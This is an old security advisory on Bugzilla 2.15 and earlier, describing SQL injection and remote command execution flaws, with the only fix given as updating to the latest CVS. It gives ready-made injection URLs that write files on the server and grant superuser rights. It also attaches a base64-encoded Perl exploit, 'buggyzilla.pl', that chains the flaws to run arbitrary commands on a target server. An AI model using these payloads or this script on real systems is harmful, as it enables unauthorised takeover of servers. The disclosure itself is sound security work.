|
COMMAND bugzilla security issues includes : file access, remote script execute ... SYSTEMS AFFECTED bugzilla v2.15 cvs(20020103) and older PROBLEM Dave Miller and Funkysh reported : Many vulnerabilities exists in Bugzilla, follows a summary of most and details of some : Summary ======= Complete bug reports for all bugs can be obtained by visiting the following URL: http://bugzilla.mozilla.org/show_bug.cgi?id=XXXXX where you replace the XXXXX at the end of the URL with a bug number as listed below. You may also enter the bug numbers in the \"enter a bug#\" box on the main page at http://bugzilla.mozilla.org/ or in the footer of any other page on bugzilla.mozilla.org. - Multiple instances of user-account hijacking capability were fixed (Bugs 54901, 108385, 185516) - Two occurrences of allowing data protected by Bugzilla\'s groupset restrictions to be visible to users outside of those groups were fixes (Bugs 102141, 108821) - One instance of an untrusted variable being echoed back to a user via HTML was fixed (Bug 98146) - Multiple instances of untrusted variables being passed to SQL queries were fixed (Bugs 108812, 108822, 109679, 109690) More detailed summaries of the specific exploits are available in the release notes, which are available on the project web site. General information about the Bugzilla bug-tracking system can be found at http://www.bugzilla.org/ Details ======= 1. Creating files on remote server. ----------------------------------- Nothing spectacular, but this vulnerability may allow us easily (at least when using Bugzilla with MySQL) to create files on remote server in some cases, using MySQL\'s INTO OUTFILE. long_list.cgi: my $generic_query = \" select bugs.bug_id, ... from bugs,profiles ... where assign.userid = ... and\"; $::FORM{\'buglist\'} = \"\" unless exists $::FORM{\'buglist\'}; foreach my $bug (split(/:/, $::FORM{\'buglist\'})) { SendSQL(\"$generic_query bugs.bug_id = $bug\"); [..] As we can see $::FORM{\'buglist\'} (submitted by user) isn\'t quoted here, also script doesn\'t check if bug_id is numeric value. So we are able to add extra SQL command into $generic_query. ok, let\'s try.. after login we request: http://site/bugzilla/long_list.cgi?buglist=1%20INTO%20OUTFILE%20%27/tmp/pussycat%27 We are lucky, if everything works, we\'ll see only little message: \"Full Text Bug Listing\", so we then know file is created. If any problem occur script will happily inform us. [funkysh@note] $ ls -l /tmp/pussycat -rw-rw-rw- 1 mysql mysql 118 Jan 13 20:41 /tmp/pussycat This may be serious problem if i.e. remote server running PHP, and we have any writable dir inside DOCUMENT_ROOT reachable from outside, we can create some evil php script. (Bugzilla by default creates directory \'data\' with permissions sets to 777 afair, it is also not a problem to find out real path.) Btw. this one seems to be still unpatched in 2.14.1. 2. Obtaining Bugzilla superuser access. --------------------------------------- What you can do with your Bugzilla account depends on your groupset, by default any newly created user have groupset=96 what means: * Can edit all aspects of any bug. * Can confirm a bug. (Get into User preferences and choose Permissions link to see that.) Why not to become superuser? Nothing easier. Take look into userprefs.cgi: sub SaveFooter { [..] SendSQL(\"UPDATE profiles SET mybugslink = \'\" . $::FORM{\'mybugslink\'} . \"\' WHERE userid = $userid\"); [..] Once again unquoted user supplied value. ok, - once you are in \'User preferences\' request following: http://site/bugzilla/userprefs.cgi?bank=footer&dosave=1&mybugslink=1\\ \'%20%2cgroupset=\'9223372036854775807 (9223372036854775807 its just decimal of all 64 permission bits) - choose Permissions link and you should see: * Can tweak operating parameters * Can edit or disable users * Can create and destroy groups. * Can create, destroy, and edit components. * Can create, destroy, and edit keywords. * Can edit all aspects of any bug. * Can confirm a bug. Voila. 3. Executing commands on remote server. --------------------------------------- After quick look into reports.cgi we can discover this: sub generate_chart { my ($data_file, $image_file, $type) = @_; if (! open FILE, $data_file) { &die_politely (\"The tool which gathers bug counts has not been run yet.\"); } our generate_chart() is called from show_chart() function this way: if (! is_legal_product ($FORM{\'product\'})) { &die_politely (\"Unknown product: $FORM{\'product\'}\"); } ... my $data_file = daily_stats_filename($FORM{product}) ... if (! -e \"$graph_dir/$image_file\") { generate_chart(\"$dir/$data_file\", \"$graph_dir/$image_file\", $type); } \"product\" is user submitted value but it is checked by function is_legal_product() so we first have to create product with name of our evil command.. of course normal user cannot add new products and components but we gained administrator priviledges using vuln 2. One more thing to pass: sub daily_stats_filename { my ($prodname) = @_; $prodname =~ s/\\//-/gs; return $prodname; } Every slash in our command will be replaced with dash ..ouh, not so good, but we are smart enough to use `echo -e \\057` instead of /. Notice that exploiting last bug is dependant on availability of GD modules, since check is done in sub show_chart() : ... return unless $use_gd; That\'s all, a script is attached which exploits second and third vulnerability to execute commands on remote server running Bugzilla. --0-2066351960-1010316841=:49337 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=\"buggyzilla.pl\" Content-Transfer-Encoding: BASE64 Content-ID: <20020106123401.O49337@kris.top.pl> Content-Description: Content-Disposition: attachment; filename=\"buggyzilla.pl\" IyEvdXNyL2Jpbi9wZXJsDQoNCiMgQnVnemlsbGEgPD0gMi4xNCByZW1vdGUg ZXhwbG9pdCAtIGZ1bmt5c2hAc20ucGwNCiMgZmlyc3QgdW5wdWJsaXNoZWQg cmVsZWFzZSAtIDEzLzAxLzIwMDENCiMgY2hlY2tlZCB3aXRoIHZlcnNpb24g Mi4xMiAtIDA4LzA1LzIwMDENCiMgY2hlY2tlZCB3aXRoIHZlcnNpb24gMi4x NCAtIDEwLzA5LzIwMDENCg0Kc3ViIGNyZWF0ZV9jbWQgew0KICAgICAgICAg ICAgICAgICAkY21kID0gIjsiIC4gJF9bMF07DQogICAgICAgICAgICAgICAg ICRjbWQgPX4gcy9cLy9gZWNobyAtZSAiXFwwNTciYC9nczsNCiAgICAgICAg ICAgICAgICAgJGNtZCA9ICRjbWQgLiAifCI7DQogICAgICAgICAgICAgICAg IGlmIChsZW5ndGgoJGNtZCkgPiA2NCkNCiAgICAgICAgICAgICAgICAgICB7 DQogICAgICAgICAgICAgICAgICAgICBkaWUgKCJjcmVhdGVkIGNtZCBzdHJp bmcgaXMgbG9uZ2VyIHRoYW4gNjQgY2hhcnMsIHNvcnJ5LlxuIik7DQogICAg ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAkY21kID1+IHMv KFsgLX5dKS9zcHJpbnRmICgiJSUleCIsIG9yZCgkMSkpL2dlOw0KICAgICAg ICAgICAgICAgICByZXR1cm4gJGNtZA0KICAgICAgICAgICAgICAgfQ0KDQpz dWIgY2hlY2tfcGVybSB7DQogICAgICAgICAgICAgICAgIG9wZW4gKFJFUywg Imx5bnggLXNvdXJjZSBcIiRob3N0L3VzZXJwcmVmcy5jZ2k/QnVnemlsbGFf bG9naW49JGxvZ2luJkJ1Z3ppbGxhX3Bhc3N3b3JkPSRwYXNzd29yZCZiYW5r PXBlcm1pc3Npb25zXCJ8Iik7DQogICAgICAgICAgICAgICAgIHdoaWxlICgk b3V0cHV0ID0gPFJFUz4pDQogICAgICAgICAgICAgICAgICAgICAgew0KICAg ICAgICAgICAgICAgICAgICAgICAgY2hvbXAoJG91dHB1dCk7DQogICAgICAg ICAgICAgICAgICAgICAgICBpZiAoJG91dHB1dCA9fiAvPExJPkNhbi8pDQog ICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICBpZiAoJG91dHB1dCA9fiAvZWRpdCBjb21wb25lbnRzLykN CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgJHBlcm0gPSAxOw0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICRvdXRwdXQgPX4gcy9cPExJPi9cKiAvZ3M7DQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgcHJpbnQgKCIgJG91dHB1dFxuIik7DQogICAgICAg ICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAg fQ0KICAgICAgICAgICAgICAgICByZXR1cm4gJHBlcm07DQogICAgICAgICAg ICAgICB9DQoNCiRwZXJtID0gMDsNCiRkb25lID0gMDsNCiRzdXBlcnVzZXJn cm91cHNldCA9ICI5MjIzMzcyMDM2ODU0Nzc1ODA3IjsNCg0KaWYgKEBBUkdW IDwgNCkNCiAgew0KICAgIGRpZSAoInVzYWdlOiAkMCA8dXJsPiA8eW91cl9i dWd6aWxsYV9hY2NvdW50PiA8cGFzc3dkPiA8Y21kPlxuIiwNCiAgICAgICAg ICIgZS5nLjogJDAgaHR0cDovL3ZpY3RpbS5jb20vYnVnemlsbGEgbWVcQGVt YWlsLmNvbSBzZWNyZXQgXCJ0b3VjaCAvdG1wL2hlaFwiXG4iKTsNCiAgfQ0K DQooJGhvc3QsICRsb2dpbiwgJHBhc3N3b3JkLCAkY21kKSA9IChAQVJHVik7 DQoNCnByaW50ICgiPT4gY2hlY2tpbmcgcGVybWlzc2lvbnNcbiIpOw0KDQog aWYgKCEgY2hlY2tfcGVybSgpKQ0KICAgew0KICAgICBwcmludCAoIj0+IHVu c3VmZmljaWVudCBncm91cHNldCwgdHJ5aW5nIHRvIGJlY29tZSBidWd6aWxs YSBhZG1pbmlzdHJhdG9yXG4iKTsNCiAgICAgb3BlbiAoUkVTLCAibHlueCAt c291cmNlIFwiJGhvc3QvdXNlcnByZWZzLmNnaT9CdWd6aWxsYV9sb2dpbj0k bG9naW4mQnVnemlsbGFfcGFzc3dvcmQ9JHBhc3N3b3JkJmJhbms9Zm9vdGVy JmRvc2F2ZT0xJm15YnVnc2xpbms9MSUyNyUyMCUyY2dyb3Vwc2V0PSUyNyRz dXBlcnVzZXJncm91cHNldFwifCIpOw0KICAgfQ0KDQogaWYgKCEgJHBlcm0p DQogICB7DQogICAgIGlmICghIGNoZWNrX3Blcm0oKSkNCiAgICAgIHsNCiAg ICAgICAgZGllICgiPT4gY2hhbmdpbmcgZ3JvdXBzZXQgZmFpbGVkXG4iKTsN CiAgICAgIH0NCiAgIH0NCg0KcHJpbnQgKCI9PiBwZXJtaXNzaW9ucyBvaywg Y3JlYXRpbmcgY21kLXByb2R1Y3QgIik7DQoNCiRjbWQgPSAoY3JlYXRlX2Nt ZCgkY21kKSk7DQoNCm9wZW4gKFJFUywgImx5bnggLXNvdXJjZSBcIiRob3N0 L2VkaXRwcm9kdWN0cy5jZ2k/QnVnemlsbGFfbG9naW49JGxvZ2luJkJ1Z3pp bGxhX3Bhc3N3b3JkPSRwYXNzd29yZCZ2ZXJzaW9uPXVuc3BlY2lmaWVkJnBy b2R1Y3Q9JGNtZCZhY3Rpb249bmV3XCJ8Iik7DQoNCndoaWxlICgkb3V0cHV0 ID0gPFJFUz4pDQogICAgIHsNCiAgICAgIGNob21wKCRvdXRwdXQpOw0KICAg ICAgaWYgKCRvdXRwdXQgPX4gL09LLCBkb25lLi8pDQogICAgICAgIHsNCiAg ICAgICAgICBwcmludCAoIltva11cbiIpOyAkZG9uZSA9IDE7DQogICAgICAg IH0NCiAgICAgfQ0KDQppZiAoISAkZG9uZSkNCiAgew0KICAgIGRpZSAoIltm YWlsZWRdXG4iKTsNCiAgfQ0KDQpwcmludCAoIj0+IHRyeWluZyB0byBleGVj dXRlIGNtZCBvbiByZW1vdGUgaG9zdFxuIik7DQpvcGVuIChSRVMsICJseW54 IC1zb3VyY2UgXCIkaG9zdC9yZXBvcnRzLmNnaT9vdXRwdXQ9c2hvd19jaGFy dCZwcm9kdWN0PSRjbWQmZGF0YXNldHM9MVwifCIpOw0KZXhpdCgwKTsNCg== --0-2066351960-1010316841=:49337-- SOLUTION Update to the latest CVS